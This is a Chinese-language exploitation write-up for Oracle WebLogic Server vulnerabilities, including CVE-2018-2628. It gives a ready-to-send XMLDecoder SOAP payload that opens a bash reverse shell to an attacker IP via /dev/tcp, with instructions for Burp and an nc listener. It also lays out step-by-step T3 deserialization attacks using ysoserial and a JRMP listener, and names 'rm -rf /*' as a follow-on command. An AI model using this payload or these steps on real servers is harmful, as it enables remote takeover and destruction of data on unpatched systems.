Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。

0x01 影响版本

Oracle WebLogic Server 10.3.6.0.0版本,12.1.3.0.0版本,12.2.1.1.0版本,12.2.1.2.0版本

构造如下Payload:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击IP/1234 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

使用burp进行抓包 请求头中添加以下字段:

SOAPAction:
Content-Type:text/xml

写入准备好的payload POST方式发送即可

nc 监听1234端口反弹shell

Weblogic命令执行漏洞(CVE-2018-2628)

.漏洞咋产生的?

漏洞的核心是WebLogic处理T3协议数据时的“无脑拆包”机制。T3协议是WebLogic默认开启的通信协议,用于服务器和Java程序之间的数据传输。但它在解析数据时,会直接对序列化数据(类似打包的快递)进行反序列化(拆包),而没有严格检查包裹里是否有危险物品(恶意代码)

T3协议默认开放:WebLogic的7001端口默认开启T3服务,相当于给黑客留了个后门

反序列化黑名单不全:之前Oracle通过黑名单拦截危险类(比如java.rmi.registry.Registry),但攻击者换了个接口(如java.rmi.activation.Activator),就绕过了检查

依赖危险库:WebLogic使用了存在漏洞的Apache Commons Collections库,黑客可通过这个库触发代码执行

攻击步骤拆解

分四步走

  1. 第一步:搭“指挥中心”(JRMP Server)

    • 攻击者在自己电脑上开个“指挥中心”(JRMP监听服务),等着服务器主动联系。
    • 相当于黑客建了个秘密电台,准备发号施令。
  2. 第二步:伪造“通行证”(构造Payload)

    • 用工具生成一个

      “假通行证”

      (Payload),里面写着:

      • “指挥中心”地址(攻击者IP和端口)。
      • “见到指挥中心后,按它的指令办事!”
    • 这个通行证本质是一串伪装成正常数据的代码,但暗藏玄机。

  3. 第三步:快递“炸弹”(发送Payload)

    • 通过WebLogic的T3快递通道(7001端口),把假通行证寄给服务器。
    • 因为T3通道默认开放且安检不严,包裹顺利送达。
  4. 第四步:引爆“炸弹”(触发漏洞)

    • 服务器拆开包裹(反序列化Payload),发现要联系“指挥中心”。
    • 服务器主动连接攻击者的JRMP监听服务,“指挥中心”立刻下发最终指令(比如:“执行命令rm -rf /*删库”)。
    • 此时服务器完全被控制,攻击者想干啥就干啥。

T3协议:WebLogic的专属快递通道,默认开放且效率高,但安检不严

RMI绕过黑名单:Oracle用黑名单拦截已知危险类,但攻击者改用RMI协议的其他接口(如Activator),换汤不换药绕过了检查

反序列化漏洞:服务器无脑拆包裹(readObject方法),把恶意代码当正常指令执行

JRMP协议:攻击者用JRMP监听服务做“远程指挥”,让服务器主动连接并接收攻击指令

攻击就是利用CVE-2018-2628漏洞工具包(检测工具在其中)

首先有一个监测工具需要将txt文件改成目标及ip检测

检测成功之后

利用ysoserial去生成payload然后启动JRMP的监听

然后利用工具伪造payload 反弹shell到我的攻击机

染红通过T3通道把payload传递给服务器进行反序列化解析连接jRMP建立通讯

然后JRMP发送反弹shell 的命令,拿下攻击机